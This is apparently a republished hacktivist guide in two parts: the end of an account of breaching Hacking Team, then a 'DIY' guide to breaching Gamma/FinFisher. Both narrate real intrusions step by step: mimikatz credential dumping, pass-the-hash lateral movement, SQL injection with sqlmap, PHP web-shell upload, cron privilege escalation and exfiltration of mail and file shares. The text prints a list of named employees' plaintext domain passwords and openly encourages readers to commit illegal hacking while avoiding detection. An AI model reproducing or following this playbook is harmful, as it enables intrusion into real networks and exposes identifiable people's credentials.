Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT –to-destination 127.0.0.1

And now, after:
iscsiadm -m node –targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login

…the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

…and finally we’ve unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf

–[ 10 – From backups to domain admin ]—————————————–

What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:

_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!………..

I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient ‘//192.168.100.51/c$’ -U ‘hackingteam.local/besadmin%bes32678!!!’

It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit’s psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran “load kiwi” [5], “creds_wdigest”, and
got a bunch of passwords, including the Domain Admin:

HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <—- lol great sysadmin
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&2E
HACKINGTEAM e.rabe erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz

–[ 11 – Downloading the mail ]————————————————-

With the Domain Admin password, I have access to the email, the heart of the
company. Since with each step I take there’s a chance of being detected, I
start downloading their email before continuing to explore. Powershell makes
it easy [1]. Curiously, I found a bug with Powershell’s date handling. After
downloading the emails, it took me another couple weeks to get access to the
source code and everything else, so I returned every now and then to download
the new emails. The server was Italian, with dates in the format
day/month/year. I used:
-ContentFilter {(Received -ge ’05/06/2015′) -or (Sent -ge ’05/06/2015′)}

with New-MailboxExportRequest to download the new emails (in this case all
mail since June 5). The problem is it says the date is invalid if you
try a day larger than 12 (I imagine because in the US the month comes first
and you can’t have a month above 12). It seems like Microsoft’s engineers only
test their software with their own locale.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/

–[ 12 – Downloading Files ]—————————————————-

Now that I’d gotten Domain Admin, I started to download file shares using my
proxy and the -Tc option of smbclient, for example:

proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ \
-U ‘HACKINGTEAM/Administrator%uu8dd8ndd12!’ -Tc FAE_DiskStation.tar ‘*’

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
the torrent like that.

–[ 13 – Introduction to hacking windows domains ]——————————

Before continuing with the story of the “weones culiaos” (Hacking Team), I
should give some general knowledge for hacking windows networks.

—-[ 13.1 – Lateral Movement ]————————————————-

I’ll give a brief review of the different techniques for spreading withing a
windows network. The techniques for remote execution require the password or
hash of a local admin on the target. By far, the most common way of obtaining
those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
and sekurlsa::msv, on the computers where you already have admin access. The
techniques for “in place” movement also require administrative privileges
(except for runas). The most important tools for privilege escalation are
PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

Remote Movement:

1) psexec

The tried and true method for lateral movement on windows. You can use
psexec [1], winexe [2], metasploit’s psexec_psh [3], Powershell Empire’s
invoke_psexec [4], or the builtin windows command “sc” [5]. For the
metasploit module, powershell empire, and pth-winexe [6], you just need the
hash, not the password. It’s the most universal method (it works on any
windows computer with port 445 open), but it’s also the least stealthy.
Event type 7045 “Service Control Manager” will appear in the event logs. In
my experience, no one has ever noticed during a hack, but it helps the
investigators piece together what the hacker did afterwards.

2) WMI

The most stealthy method. The WMI service is enabled on all windows
computers, but except for servers, the firewall blocks it by default. You
can use wmiexec.py [7], pth-wmis [6] (here’s a demonstration of wmiexec and
pth-wmis [8]), Powershell Empire’s invoke_wmi [9], or the windows builtin
wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

It’s disabled by default, and I don’t recommend enabling new protocols.
But, if the sysadmin has already enabled it, it’s very convenient,
especially if you use powershell for everything (and you should use
powershell for almost everything, it will change [11] with powershell 5 and
windows 10, but for now powershell makes it easy to do everything in RAM,
avoid AV, and leave a small footprint)

4) Scheduled Tasks

You can execute remote programs with at and schtasks [5]. It works in the
same situations where you could use psexec, and it also leaves a well known
footprint [12].

5) GPO

If all those protocols are disabled or blocked by the firewall, once you’re
Domain Admin, you can use GPO to give users a login script, install an msi,
execute a scheduled task [13], or, like we’ll see with the computer of
Mauro Romeo (one of Hacking Team’s sysadmins), use GPO to enable WMI and
open the firewall.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py

“In place” Movement:

1) Token Stealing

Once you have admin access on a computer, you can use the tokens of the
other users to access resources in the domain. Two tools for doing this are
incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

You can take advantage of a validation bug in Kerberos to generate Domain
Admin tickets [3][4][5].

3) Pass the Hash

If you have a user’s hash, but they’re not logged in, you can use
sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

Any RAT can inject itself into other processes. For example, the migrate
command in meterpreter and pupy [6], or the psinject [7] command in
powershell empire. You can inject into the process that has the token you
want.

5) runas

This is sometimes very useful since it doesn’t require admin privileges.
The command is part of windows, but if you don’t have a GUI you can use
powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

—-[ 13.2 – Persistence ]——————————————————

Once you have access, you want to keep it. Really, persistence is only a
challenge for assholes like Hacking Team who target activists and other
individuals. To hack companies, persistence isn’t needed since companies never
sleep. I always use Duqu 2 style “persistence”, executing in RAM on a couple
high-uptime servers. On the off chance that they all reboot at the same time,
I have passwords and a golden ticket [1] as backup access. You can read more
about the different techniques for persistence in windows here [2][3][4]. But
for hacking companies, it’s not needed and it increases the risk of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/

—-[ 13.3 – Internal reconnaissance ]——————————————

The best tool these days for understanding windows networks is Powerview [1].
It’s worth reading everything written by it’s author [2], especially [3], [4],
[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
many windows 2000 and 2003 servers without powershell, you also have to learn
the old school [8], with programs like netview.exe [9] or the windows builtin
“net view”. Other techniques that I like are:

1) Downloading a list of file names

With a Domain Admin account, you can download a list of all filenames in
the network with powerview:

Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string ‘^(.*) \t-‘ | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}

Later, you can read it at your leisure and choose which files to download.

2) Reading email

As we’ve already seen, you can download email with powershell, and it has a
lot of useful information.

3) Reading sharepoint

It’s another place where many businesses store a lot of important
information. It can also be downloaded with powershell [10].

4) Active Directory [11]

It has a lot of useful information about users and computers. Without being
Domain Admin, you can already get a lot of info with powerview and other
tools [12]. After getting Domain Admin, you should export all the AD
information with csvde or another tool.

5) Spy on the employees

One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
(one of Hacking Team’s sysadmins) gave me access to a Nagios server which
gave me access to the rete sviluppo (development network with the source
code of RCS). With a simple combination of Get-Keystrokes and
Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
[14], and GPO, you can spy on any employee, or even on the whole domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang

–[ 14 – Hunting Sysadmins ]—————————————————-

Reading their documentation about their infrastructure [1], I saw that I was
still missing access to something important – the “Rete Sviluppo”, an isolated
network with the source code for RCS. The sysadmins of a company always have
access to everything, so I searched the computers of Mauro Romeo and Christian
Pozzi to see how they administer the Sviluppo network, and to see if there
were any other interesting systems I should investigate. It was simple to
access their computers, since they were part of the windows domain where I’d
already gotten admin access. Mauro Romeo’s computer didn’t have any ports
open, so I opened the port for WMI [2] and executed meterpreter [3]. In
addition to keylogging and screen scraping with Get-Keystrokes and
Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
Truecrypt volume, I waited until he’d mounted it and then copied off the
files. Many have made fun of Christian Pozzi’s weak passwords (and of
Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
included them in the leak as a false clue, and to laugh at him. The reality is
that mimikatz and keyloggers view all passwords equally.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/

–[ 15 – The bridge ]———————————————————–

Within Christian Pozzi’s Truecrypt volume, there was a textfile with many
passwords [1]. One of those was for a Fully Automated Nagios server, which had
access to the Sviluppo network in order to monitor it. I’d found the bridge I
needed. The textfile just had the password to the web interface, but there was
a public code execution exploit [2] (it’s an unauthenticated exploit, but it
requires that at least one user has a session initiated, for which I used the
password from the textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78

–[ 16 – Reusing and resetting passwords ]————————————–

Reading the emails, I’d seen Daniele Milan granting access to git repos. I
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab server
and their twitter account, I used the “forgot my password” function along with
my access to their mail server to reset the passwords.

–[ 17 – Conclusion ]———————————————————–

That’s all it takes to take down a company and stop their human rights abuses.
That’s the beauty and asymmetry of hacking: with 100 hours of work, one person
can undo years of work by a multi-million dollar company. Hacking gives the
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is for
educational purposes only, be an ethical hacker, don’t attack systems you
don’t have permission to, etc. I’ll say the same, but with a more rebellious
conception of “ethical” hacking. Leaking documents, expropriating money from
banks, and working to secure the computers of ordinary people is ethical
hacking. However, most people that call themselves “ethical hackers” just work
to secure those who pay their high consulting fees, who are often those most
deserving to be hacked.

Hacking Team saw themselves as part of a long line of inspired Italian design
[1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
and government, as part of a long tradition of Italian fascism. I’d like to
dedicate this guide to the victims of the raid on the Armando Diaz school, and
to all those who have had their blood spilled by Italian fascists.

[1] https://twitter.com/coracurrier/status/618104723263090688

–[ 18 – Contact ]————————————————————–

To send me spear phishing attempts, death threats in Italian [1][2], and to
give me 0days or access inside banks, corporations, governments, etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail
—–BEGIN PGP PUBLIC KEY BLOCK—–

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
—–END PGP PUBLIC KEY BLOCK—–

HackBack 1

A DIY Guide for those without the patience to wait for whistleblowers

From Pastebin (where it has better formatting)

–[ 1 ]– Introduction

I’m not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I’m writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you’ve learned the basics you’ll realize this
really is easier than filing a FOIA request.

–[ 2 ]– Staying Safe

This is illegal, so you’ll need to take same basic precautions:

1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it’s better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.

NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you’ll want a public IP address to
receive connect back shells. I recommend using servers you’ve hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you’re running will
have a nice fast connection to your target.

–[ 3 ]– Mapping out the target

Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.

[0] http://ha.ckers.org/fierce/

For an example let’s take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com

Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 – 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd

Doing a whois lookup on academi.com reveals it’s also registered to the same
address, so we’ll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
“850 Puddin Ridge Rd” inurl:ip-address-lookup
“850 Puddin Ridge Rd” inurl:domaintools

Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you’ve found everything.

Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com

If you repeat the whois lookups and such you’ll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.

In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
“FinFisher GmbH”. Googling for:
“FinFisher GmbH” inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com

…so now you’ve got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.

–[ 4 ]– Scanning & Exploiting

Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.

Now for each service you find running:

1) Is it exposing something it shouldn’t? Sometimes companies will have services
running that require no authentication and just assume it’s safe because the url
or IP to access it isn’t public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.

2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer’s
default password.

3) Is it running an old version of software vulnerable to a public exploit?

Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:

1) Browse them. Especially on subdomains that fierce finds which aren’t intended
for public viewing like test.company.com or dev.company.com you’ll often find
interesting stuff just by looking at them.

2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.

3) Identify what software is being used on the website. WhatWeb is useful [1]

4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].

First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it’s time to move
on to finding a new vulnerability:

5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.

6) For the non-custom software they’re running, get a copy to look at. If it’s
free software you can just download it. If it’s proprietary you can usually
pirate it. If it’s proprietary and obscure enough that you can’t pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that’s easier to hack, and get a copy from them.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/

For finsupport.finfisher.com the process was:

* Start nikto running in the background.

* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.

* See if WhatWeb knows anything about what software the site is running.

* WhatWeb doesn’t recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.

* I view the page source to find a URL I can search on (index.php isn’t
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:”Scripts/scripts.js.php”

* I find there’s a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.

At this point I can see the news stories that journalists will write to drum
up views: “In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group…”

But it’s really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:

* google allinurl:”Scripts/scripts.js.php” and find the other sites

* Notice they’re all sql injectable in the first url parameter I try.

* Realize they’re running Apache ModSecurity so I need to use sqlmap [0] with
the option –tamper=’tamper/modsecurityversioned.py’

* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website’s source code.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It’s got sqli, LFI, file upload checks done client side in
javascript, and if you’re unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.

[0] http://www.dvwa.co.uk/

Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I’m having some issues with the LFI, so I switch to using the
sqli (it’s nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it’s
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can’t use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap –file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.

Looking through the source, I see customers can attach a file to their support
tickets, and there’s no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I’m in!

–[ 5 ]– (fail at) Escalating

___________

———–
\ ^__^
\ (oo)\_______
(__)\ )\/\
||—-w |
|| ||
^^^^^^^^^^^^^^^^

Root over 50% of linux servers you encounter in the wild with two easy scripts,
Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer

so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

wait an hour, and ….nothing. Turns out that while the cron process is running
it doesn’t seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn’t update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that’s probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn’t get much of anything new, so I move
on to the rest of the network.

–[ 6 ]– Pivoting

The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.

The only interesting thing I could get on finsupport’s local network was another
webserver serving up a folder called ‘qateam’ containing their mobile malware.

–[ 7 ]– Have Fun

Once you’re in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there’s no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.

It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!

–[ 8 ]– Other Methods

The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There’s no one right way, and any method that works is as good as
any other. The other main ways that I’ll state without going into detail are:

1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don’t
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There’s also
metasploit browser autopwn, but you’ll probably have better luck with no
exploits and a fake flash updater prompt.

2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: “Social Engineering”. This is probably the way to go if you don’t know
too much about computers, and it really is all it takes to be a successful
hacker [0].

[0] https://www.youtube.com/watch?v=DB6ywr9fngU

–[ 9 ]– Resources

Links:

* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
